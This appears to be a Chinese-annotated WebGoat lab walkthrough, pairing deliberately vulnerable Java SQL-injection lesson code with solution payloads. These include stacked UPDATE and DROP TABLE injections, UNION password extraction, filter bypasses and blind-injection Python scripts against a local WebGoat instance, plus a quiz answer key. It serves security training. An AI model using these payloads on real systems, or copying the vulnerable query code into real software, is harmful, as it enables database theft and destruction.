SqlInjectionLesson9 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.*;import java.sql.Connection;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;@RestController @AssignmentHints(value = {"SqlStringInjectionHint.9.1", "SqlStringInjectionHint.9.2", "SqlStringInjectionHint.9.3", "SqlStringInjectionHint.9.4", "SqlStringInjectionHint.9.5"}) public class SqlInjectionLesson9 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson9 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/attack9") @ResponseBody public AttackResult completed (@RequestParam String name,@RequestParam String auth_tan) { return injectableQueryIntegrity(name,auth_tan); } protected AttackResult injectableQueryIntegrity (String name,String auth_tan) { StringBuffer output = new StringBuffer (); String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan +"'" ; try (Connection connection = dataSource.getConnection()){ try { Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_UPDATABLE); SqlInjectionLesson8.log(connection,query); ResultSet resultSet = statement.executeQuery(query); var test = resultSet.getRow() != 0 ; if (resultSet.getStatement() != null ){ if (resultSet.first()){ output.append(SqlInjectionLesson8.generateTable(resultSet)); }else { return failed(this ).feedback("sql-injection.8.no.results" ).build(); } } }catch (SQLException e){ System.err.println(e.getMessage()); return failed(this ).output("<br><span class='feedback-negative'>" + e.getMessage() + "</span>" ).build(); } return checkSalaryRanking(connection,output); }catch (Exception e){ System.err.println(e.getMessage()); return failed(this ).output("<br><span class='feedback-negative'>" +e.getMessage()+"</span>" ).build(); } } private AttackResult checkSalaryRanking (Connection connection,StringBuffer output) { try { String query = "SELECT * FROM employees ORDER BY salary DESC" ; try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_UPDATABLE)){ ResultSet resultSet = statement.executeQuery(query); resultSet.first(); if ((resultSet.getString(2 ).equals("John" ))&& (resultSet.getString(3 ).equals("Smith" ))){ output.append(SqlInjectionLesson8.generateTable(resultSet)); return success(this ).feedback("sql-injection.9.success" ).output(output.toString()).build(); }else { return failed(this ).feedback("sql-injection.9.one" ).output(output.toString()).build(); } } }catch (SQLException e){ return failed(this ).output("<br><span class='feedback-negative'>" +e.getMessage()+"</span>" ).build(); } } }
简单堆叠注入
Smith';update employees set salary='83000000' where auth_tan='3SL99A' -- +
SqlInjectionLesson10 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.Connection;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;@RestController @AssignmentHints(value = {"SqlStringInjectionHint.10.1", "SqlStringInjectionHint.10.2", "SqlStringInjectionHint.10.3", "SqlStringInjectionHint.10.4", "SqlStringInjectionHint.10.5", "SqlStringInjectionHint.10.6"}) public class SqlInjectionLesson10 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson10 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/attack10") @ResponseBody public AttackResult completed (@RequestParam String action_string) { return injectableQueryAvailability(action_string); } protected AttackResult injectableQueryAvailability (String action) { StringBuffer output = new StringBuffer (); String query = "SELECT * FROM access_log WHERE action LIKE '%" +action +"%'" ; try (Connection connection = dataSource.getConnection()){ try { Statement statement= connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); ResultSet resultSet = statement.executeQuery(query); if (resultSet.getStatement() != null ){ resultSet.first(); output.append(SqlInjectionLesson8.generateTable(resultSet)); return failed(this ).feedback("sql-injection.10.entries" ).output(output.toString()).build(); }else { if (tableExists(connection)){ return failed(this ).feedback("sql-injection.10.entries" ).output(output.toString()).build(); }else { return success(this ).feedback("sql-injection.10.success" ).build(); } } }catch (SQLException e){ if (tableExists(connection)){ return failed(this ).output("<span class='feedback-negative'>" +e.getMessage()+"</span><br>" +output.toString()).build(); }else { return success(this ).feedback("sql-injection.10.success" ).build(); } } }catch (Exception e){ return failed(this ).output("<span class='feedback-negative'>" +e.getMessage()+"</span>" ).build(); } } private boolean tableExists (Connection connection) { try { Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); ResultSet resultSet = statement.executeQuery("SELECT * FROM access_log" ); int cols = resultSet.getMetaData().getColumnCount(); return (cols > 0 ); }catch (SQLException e){ String eMessage = e.getMessage(); if (eMessage.contains("object not found: ACCESS_LOG" )){ return false ; }else { System.err.println(e.getMessage()); return false ; } } } }
删库
%'; drop table access_log-- +
advanced SqlInjectionAdvanced package com.wanan.webgoat.lessons.sql_injection.advanced;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class SqlInjectionAdvanced extends Lesson { @Override protected Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "2.sql.advanced.title" ; } }
SqlInjectionLesson6a package com.wanan.webgoat.lessons.sql_injection.advanced;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.sql_injection.introduction.SqlInjectionLesson5a;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.xml.transform.Result;import java.sql.*;@RestController @AssignmentHints(value = {"SqlStringInjectionHint-advanced-6a-1", "SqlStringInjectionHint-advanced-6a-2", "SqlStringInjectionHint-advanced-6a-3", "SqlStringInjectionHint-advanced-6a-4", "SqlStringInjectionHint-advanced-6a-5"}) public class SqlInjectionLesson6a extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson6a (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjectionAdvanced/attack6") @ResponseBody public AttackResult completed (@RequestParam String userid_6a) { return injectableQuery(userid_6a); } public AttackResult injectableQuery (String accountName) { String query = "" ; try (Connection connection = dataSource.getConnection()){ boolean usedUnion = true ; query = "SELECT * FROM user_data WHERE last_name = '" +accountName +"'" ; if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)" )){ usedUnion = false ; } try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)){ ResultSet resultSet = statement.executeQuery(query); if ((resultSet != null ) && (resultSet.first())){ ResultSetMetaData resultSetMetaData = resultSet.getMetaData(); StringBuffer output = new StringBuffer (); output.append(SqlInjectionLesson5a.wirteTable(resultSet,resultSetMetaData)); String appendingWhenSucceded; if (usedUnion) appendingWhenSucceded = "Well done! Can you also figure out a solution, by appending a new SQL Statement?" ; else appendingWhenSucceded = "Well done! Can you also figure out a solution, by using a UNION?" ; resultSet.last(); if (output.toString().contains("dave" )&&output.toString().contains("passW0rD" )){ output.append(appendingWhenSucceded); return success(this ).feedback("sql-injection.advanced.6a.success" ).feedbackArgs(output.toString()).output(" Your query was : " +query).build(); }else { return failed(this ).output(output.toString()+"<br> Your query was : " +query).build(); } }else { return failed(this ).feedback("sql-injection.advanced.6a.no.results" ).output(" Your query was : " + query).build(); } }catch (SQLException sqle){ return failed(this ).output(sqle.getMessage() + "<br> Your query was : " + query).build(); } }catch (Exception e){ e.printStackTrace(); return failed(this ).output(this .getClass().getName()+ " : " +e.getMessage() +"<br> Your query was : " +query).build(); } } }
SqlInjectionLesson6b package com.wanan.webgoat.lessons.sql_injection.advanced;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.io.IOException;import java.sql.Connection;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;@RestController public class SqlInjectionLesson6b extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson6b (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjectionAdvanced/attack6b") @ResponseBody public AttackResult completed (@RequestParam String userid_6b) throws IOException{ if (userid_6b.equals(getPassword())){ return success(this ).build(); }else { return failed(this ).build(); } } protected String getPassword () { String password = "dave" ; try (Connection connection = dataSource.getConnection()){ String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'" ; try { Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); ResultSet resultSet = statement.executeQuery(query); if (resultSet != null && resultSet.first()){ password = resultSet.getString("password" ); } }catch (SQLException sqle){ sqle.printStackTrace(); } }catch (Exception e){ e.printStackTrace(); } return (password); } }
' union select 1,'2','3','4',user_name,password,7 from user_system_data where user_name ='dave' -- +
';select * from user_system_data -- +
两个框是两个题目
SqlInjectionChallenge package com.wanan.webgoat.lessons.sql_injection.advanced;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang3.StringUtils;import org.springframework.web.bind.annotation.PutMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.*;@RestController @AssignmentHints(value = {"SqlInjectionChallenge1", "SqlInjectionChallenge2", "SqlInjectionChallenge3"}) @Slf4j public class SqlInjectionChallenge extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionChallenge (LessonDataSource dataSource) { this .dataSource = dataSource; } @PutMapping("/SqlInjectionAdvanced/challenge") @ResponseBody public AttackResult registerNewUser (@RequestParam String username_reg,@RequestParam String email_reg,@RequestParam String password_reg) throws Exception{ AttackResult attackResult = checkArguments(username_reg,email_reg,password_reg); if (attackResult == null ){ try (Connection connection = dataSource.getConnection()){ String checkUserQuery = "select userid from sql_challenge_users where userid = '" + username_reg + "'" ; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(checkUserQuery); if (resultSet.next()){ if (username_reg.contains("tom'" )){ attackResult = success(this ).feedback("user.exists" ).build(); }else { attackResult = failed(this ).feedback("user.exists" ).feedbackArgs(username_reg).build(); } } else { PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO sql_challenge_users VALUE (?,?,?)" ); preparedStatement.setString(1 ,username_reg); preparedStatement.setString(2 ,email_reg); preparedStatement.setString(3 ,password_reg); attackResult = success(this ).feedback("user.created" ).feedbackArgs(username_reg).build(); } }catch (SQLException e){ attackResult = failed(this ).output("Something went wrong" ).build(); } } return attackResult; } private AttackResult checkArguments (String username_reg, String email_reg, String password_reg) { if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)){ return failed(this ).feedback("input.invalid" ).build(); } if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length()>30 ){ return failed(this ).feedback("input.invalid" ).build(); } return null ; } }
SqlInjectionChallengeLogin package com.wanan.webgoat.lessons.sql_injection.advanced;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints(value = {"SqlInjectionChallengeHint1", "SqlInjectionChallengeHint2", "SqlInjectionChallengeHint3", "SqlInjectionChallengeHint4"}) public class SqlInjectionChallengeLogin extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionChallengeLogin (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjectionAdvanced/challenge_Login") @ResponseBody public AttackResult login (@RequestParam String username_login, @RequestParam String password_login) throws Exception { try (var connection = dataSource.getConnection()) { var statement = connection.prepareStatement("select password from sql_challenge_users where userid = ? and password = ?" ); statement.setString(1 , username_login); statement.setString(2 , password_login); var resultSet = statement.executeQuery(); if (resultSet.next()) { return ("tom" .equals(username_login)) ? success(this ).build() : failed(this ).feedback("ResultsButNotTom" ).build(); } else { return failed(this ).feedback("NoResultsMatched" ).build(); } } } }
简单测试下
简单写一下注入脚本
查数据库 通过更改 offset 0 可进行其他数据库获取
import timeimport requestsurl = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge" header = { "Cookie" :"JSESSIONID=OQWQI54foDP-s9R5KQOXYulZsHMkc8k9F0iCEOEZ; XDEBUG_SESSION=XDEBUG_ECLIPSE; csrftoken=K3MAIhCJRXpvtFDEZL8jPBZBaqB4AQUx5URfXIFuNrZf1FouXjtMPTz8kZT9dpf3; rememberMe=K6J1EzKLEEGRyRq4Dk4GSgMqUEoPYPnI7K2GhLNeSk50azVUvwTHQdT78dE6ZMM0V+2xcbpWgT9m+SALVMYHt7ai6bMTERfZMAU2lHViA6IP4AyXh0eaLyzi0Gc9Va0epahdl6lvGna8/0DgSX1/YIqwFMQ7QFaCAAP1LtE/jkE3TQdk7UNBdvpfHWlMSOgZdJZoYhIGxBhnGJxCVX9E+vB3fcILABQBDKvFpYhlGMNl5LMSA+SyBZCCzGpz2e3MgljifDFgNbSmcwVCfFdGc32h78OWzTcZOCbYbOav2Lp5q7960r2iSNZnaI+aX7xDklYgEgxlL6Q6xtZihscVODPiG9Rcy95G9OsQlLfPycpmS8bYcBrvt3Go0lfFcrGY2Uo6vDxj67hj/73f0VpdgWRfXnk0VPSL9uxElbqjx3GAEU2uKf657Uc3e/DpiVsMwovQUIFTDsm78NdL/E6+ONXKCTHcXp+Vym+6ItYGTKlLvfdZwg9D5JXHrtMjwZJz" } passwd = "" i = 0 while True : i +=1 for c in range (32 ,127 ): payload = f"' or CASE substr((select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='123456'),{i} ,1) WHEN '{chr (c)} ' THEN true ELSE false END-- " payload = f"' or CASE substr((select group_concat(column_name) from INFORMATION_SCHEMA.columns where TABLE_NAME='SQL_CHALLENGE_USERS'),{i} ,1) WHEN '{chr (c)} ' THEN true ELSE false END-- " payload = f"' or CASE substr((select password from SQL_CHALLENGE_USERS where userid='tom'),{i} ,1) WHEN '{chr (c)} ' THEN true ELSE false END-- " data = { "username_reg" :{payload}, "email_reg" :"11%4011.com" , "password_reg" :"1" , "confirm_password_reg" :"1" } r = requests.put(url=url,headers=header,data=data) if "already" in r.text: passwd += chr (c) print (passwd)
SqlInjectionQuiz package com.wanan.webgoat.lessons.sql_injection.advanced;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.*;import java.io.IOException;@RestController public class SqlInjectionQuiz extends AssignmentEndpoint { String[] solutions = {"Solution 4" , "Solution 3" , "Solution 2" , "Solution 3" , "Solution 4" }; boolean [] guesses = new boolean [solutions.length]; @PostMapping("/SqlInjectionAdvanced/quiz") @ResponseBody public AttackResult completed (@RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution, @RequestParam String[] question_2_solution, @RequestParam String[] question_3_solution, @RequestParam String[] question_4_solution) throws IOException{ int correctAnswers = 0 ; String[] givenAnswers = {question_0_solution[0 ],question_1_solution[1 ],question_2_solution[0 ], question_3_solution[0 ], question_4_solution[0 ]}; for (int i = 0 ; i < solutions.length;i++){ if (givenAnswers[i].contains(solutions[1 ])){ correctAnswers++; guesses[i] = true ; }else { guesses[i] = false ; } } if (correctAnswers == solutions.length){ return success(this ).build(); }else { return failed(this ).build(); } } @GetMapping("/SqlInjectionAdvanced/quiz") @ResponseBody public boolean [] getResults(){ return this .guesses; } }
答案 4 3 2 3 4
mitigation SqlInjectionMitigations package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class SqlInjectionMitigations extends Lesson { @Override protected Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "3.sql.mitigation.title" ; } }
SqlInjectionLesson10a package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.extern.slf4j.Slf4j;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @Slf4j @AssignmentHints(value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-2"}) public class SqlInjectionLesson10a extends AssignmentEndpoint { private String [] results = {"getConnection" , "PreparedStatement" , "prepareStatement" , "?" , "?" , "setString" , "setString" }; @PostMapping("/SqlInjectionMitigations/attack1a") @ResponseBody public AttackResult completed (@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7) { String[] userInput = {field1,field2,field3,field4,field5,field6,field7}; int position = 0 ; boolean completed = false ; for (String input: userInput){ if (input.toLowerCase().contains(this .results[position].toLowerCase())){ completed = true ; }else { return failed(this ).build(); } position++; } if (completed){ return success(this ).build(); } return failed(this ).build(); } }
SqlInjectionLesson10b package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.tools.*;import java.io.IOException;import java.net.URI;import java.util.Arrays;import java.util.List;import java.util.regex.Matcher;import java.util.regex.Pattern;@RestController @AssignmentHints(value = {"SqlStringInjectionHint-mitigation-10b-1", "SqlStringInjectionHint-mitigation-10b-2", "SqlStringInjectionHint-mitigation-10b-3", "SqlStringInjectionHint-mitigation-10b-4", "SqlStringInjectionHint-mitigation-10b-5"}) public class SqlInjectionLesson10b extends AssignmentEndpoint { @PostMapping("/SqlInjectionMitigations/attack10b") @ResponseBody public AttackResult completed (@RequestParam String editor) { try { if (editor.isEmpty()) return failed(this ).feedback("sql-injection.10b.no-code" ).build(); editor = editor.replace("\\<.*?>" ,"" ); String regexSetsUpConnection = "(?=.*getConnection.*)" ; String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)" ; String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)" ; String regexUsesSetString = "(?=.*setString.*)" ; String regexUsesExecute = "(?=.*execute.*)" ; String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)" ; String codeline = editor.replace("\n" ,"" ).replace("\r" ,"" ); boolean setsUpConnection = this .check_text(regexSetsUpConnection,codeline); boolean usesPreparedStatement = this .check_text(regexUsesPreparedStatement,codeline); boolean useSetString = this .check_text(regexUsesSetString,codeline); boolean usesPlaceholder = this .check_text(regexUsesPlaceholder, codeline); boolean usesExecute = this .check_text(regexUsesExecute, codeline); boolean usesExecuteUpdate = this .check_text(regexUsesExecuteUpdate, codeline); boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && useSetString && (usesExecute || usesExecuteUpdate)); List<Diagnostic> hasCompiled = this .compileFromString(editor); if (hasImportant && hasCompiled.size() < 1 ){ return success(this ).feedback("sql-injection.10b.success" ).build(); } else if (hasCompiled.size()>0 ) { String errors = "" ; for (Diagnostic d : hasCompiled){ errors += d.getMessage(null ) + "<br>" ; } return failed(this ).feedback("sql-injection.10b.compiler-errors" ).output(errors).build(); }else { return failed(this ).feedback("sql-injection.10b.failed" ).build(); } }catch (Exception e){ return failed(this ).output(e.getMessage()).build(); } } private List<Diagnostic> compileFromString (String s) { JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); DiagnosticCollector diagnosticCollector = new DiagnosticCollector (); StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticCollector,null ,null ); JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s); Iterable fileObjects = Arrays.asList(javaObjectFromString); JavaCompiler.CompilationTask task = compiler.getTask(null ,fileManager,diagnosticCollector,null ,null ,fileObjects); Boolean result = task.call(); List<Diagnostic> diagnostics = diagnosticCollector.getDiagnostics(); return diagnostics; } private SimpleJavaFileObject getJavaFileContentsAsString (String s) { StringBuilder javaFileContents = new StringBuilder ("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}" ); JavaObjectFromString javaFileObject = null ; try { javaFileObject = new JavaObjectFromString ("TestClass.java" , javaFileContents.toString()); }catch (Exception exception){ exception.printStackTrace(); } return javaFileObject; } class JavaObjectFromString extends SimpleJavaFileObject { private String contents = null ; public JavaObjectFromString (String className, String contents) throws Exception { super (new URI (className), Kind.SOURCE); this .contents = contents; } public CharSequence getCharContent (boolean ignoreEncodingErrors) throws IOException { return contents; } } private boolean check_text (String regex, String text) { Pattern p = Pattern.compile(regex,Pattern.CASE_INSENSITIVE); Matcher m = p.matcher(text); if (m.find()) return true ; else return false ; } }
写一串sql查询代码
try { Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW); PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE name=?" ); stmt.setString(1 ,"aaa" ); ResultSet results = stmt.executeQuery(); }catch (Exception e){ e.printStackTrace(); }
package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.sql_injection.advanced.SqlInjectionLesson6a;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints(value = {"SqlOnlyInputValidation-1", "SqlOnlyInputValidation-2", "SqlOnlyInputValidation-3"}) public class SqlOnlyInputValidation extends AssignmentEndpoint { private final SqlInjectionLesson6a lesson6a; public SqlOnlyInputValidation (SqlInjectionLesson6a lesson6a) { this .lesson6a = lesson6a; } @PostMapping("/SqlOnlyInputValidation/attack") @ResponseBody public AttackResult attack (@RequestParam("userid_sql_only_input_validation") String userid) { if (userid.contains(" " )){ return failed(this ).feedback("SqlOnlyInputValidation-failed" ).build(); } AttackResult attackResult = lesson6a.injectableQuery(userid); return new AttackResult (attackResult.isLessonCompleted(),attackResult.getFeedback(),attackResult.getOutput(),getClass().getSimpleName(),true ); } }
'/**/union/**/select/**/1,'2','3','4',user_name,password,7/**/from/**/user_system_data/**//**/where/**/user_name/**/='dave'/**//**/--
';select/**/*/**/from/**/user_system_data/**/--
package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.sql_injection.advanced.SqlInjectionLesson6a;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.Locale;@RestController @AssignmentHints(value = {"SqlOnlyInputValidationOnKeywords-1", "SqlOnlyInputValidationOnKeywords-2", "SqlOnlyInputValidationOnKeywords-3"}) public class SqlOnlyInputValidationOnKeywords extends AssignmentEndpoint { private final SqlInjectionLesson6a lesson6a; public SqlOnlyInputValidationOnKeywords (SqlInjectionLesson6a lesson6a) { this .lesson6a = lesson6a; } @PostMapping("/SqlOnlyInputValidationOnKeywords/attack") @ResponseBody public AttackResult attack (@RequestParam("userid_sql_only_input_validation_on_keywords") String userId) { userId = userId.toUpperCase().replace("FROM" ,"" ).replace("SELECT" ,"" ); if (userId.contains(" " )){ return failed(this ).feedback("SqlOnlyInputValidationOnKeywords-failed" ).build(); } AttackResult attackResult = lesson6a.injectableQuery(userId); return new AttackResult (attackResult.isLessonCompleted(),attackResult.getFeedback(),attackResult.getOutput(),getClass().getSimpleName(),true ); } }
过滤的有问题
';selselectect/**/*/**/frfromom/**/user_system_data/**/--
SqlInjectionLesson13 package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.extern.slf4j.Slf4j;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.Connection;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;@RestController @AssignmentHints(value = {"SqlStringInjectionHint-mitigation-13-1", "SqlStringInjectionHint-mitigation-13-2", "SqlStringInjectionHint-mitigation-13-3", "SqlStringInjectionHint-mitigation-13-4"}) @Slf4j public class SqlInjectionLesson13 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson13 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjectionMitigations/attack12a") @ResponseBody public AttackResult completed (@RequestParam String ip) { try (Connection connection = dataSource.getConnection(); PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip=? and hostname=?" )){ preparedStatement.setString(1 ,ip); preparedStatement.setString(2 ,"webgoat-prd" ); ResultSet resultSet = preparedStatement.executeQuery(); if (resultSet.next()){ return success(this ).build(); } return failed(this ).build(); }catch (SQLException e){ log.error("Failed" ,e); return (failed(this ).build()); } } }
Servers package com.wanan.webgoat.lessons.sql_injection.mitigation;import com.wanan.webgoat.container.LessonDataSource;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.extern.slf4j.Slf4j;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import java.awt.*;import java.util.ArrayList;import java.util.List;@RestController @RequestMapping("SqlInjectionMitigations/servers") @Slf4j public class Servers { private final LessonDataSource dataSource; @AllArgsConstructor @Getter private class Server { private String id; private String hostname; private String ip; private String mac; private String status; private String description; } public Servers (LessonDataSource dataSource) { this .dataSource = dataSource; } @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public java.util.List<Server> sort (@RequestParam String column) throws Exception { List<Server> servers = new ArrayList <>(); try (var connection = dataSource.getConnection()) { try (var statement = connection.prepareStatement("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by " + column)) { try (var rs = statement.executeQuery()) { while (rs.next()) { Server server = new Server (rs.getString(1 ), rs.getString(2 ), rs.getString(3 ), rs.getString(4 ), rs.getString(5 ), rs.getString(6 )); servers.add(server); } } } } return servers; } }
case when 注入
构造下 写个脚本
import jsonimport timeimport jsonpathimport requestsheader = { "Cookie" :"JSESSIONID=UEYYFGS5YRma89jRPd-MgZmMsAaZcjprDvkwd_QE; XDEBUG_SESSION=XDEBUG_ECLIPSE; csrftoken=K3MAIhCJRXpvtFDEZL8jPBZBaqB4AQUx5URfXIFuNrZf1FouXjtMPTz8kZT9dpf3; rememberMe=K6J1EzKLEEGRyRq4Dk4GSgMqUEoPYPnI7K2GhLNeSk50azVUvwTHQdT78dE6ZMM0V+2xcbpWgT9m+SALVMYHt7ai6bMTERfZMAU2lHViA6IP4AyXh0eaLyzi0Gc9Va0epahdl6lvGna8/0DgSX1/YIqwFMQ7QFaCAAP1LtE/jkE3TQdk7UNBdvpfHWlMSOgZdJZoYhIGxBhnGJxCVX9E+vB3fcILABQBDKvFpYhlGMNl5LMSA+SyBZCCzGpz2e3MgljifDFgNbSmcwVCfFdGc32h78OWzTcZOCbYbOav2Lp5q7960r2iSNZnaI+aX7xDklYgEgxlL6Q6xtZihscVODPiG9Rcy95G9OsQlLfPycpmS8bYcBrvt3Go0lfFcrGY2Uo6vDxj67hj/73f0VpdgWRfXnk0VPSL9uxElbqjx3GAEU2uKf657Uc3e/DpiVsMwovQUIFTDsm78NdL/E6+ONXKCTHcXp+Vym+6ItYGTKlLvfdZwg9D5JXHrtMjwZJz; googtrans=/auto/zh-CN" }passwd = "" i = 0 while True : i +=1 for c in range (32 ,127 ): url = "http://127.0.0.1:8080/WebGoat/SqlInjectionMitigations/servers?column=" payload = f"(CASE substr((select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA),{i} ,1) WHEN '{chr (c)} ' THEN id ELSE ip END)" payload = f"(CASE substr((select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='123456'),{i} ,1) WHEN '{chr (c)} ' THEN id ELSE ip END)" payload = f"(CASE substr((select group_concat(column_name) from INFORMATION_SCHEMA.columns where 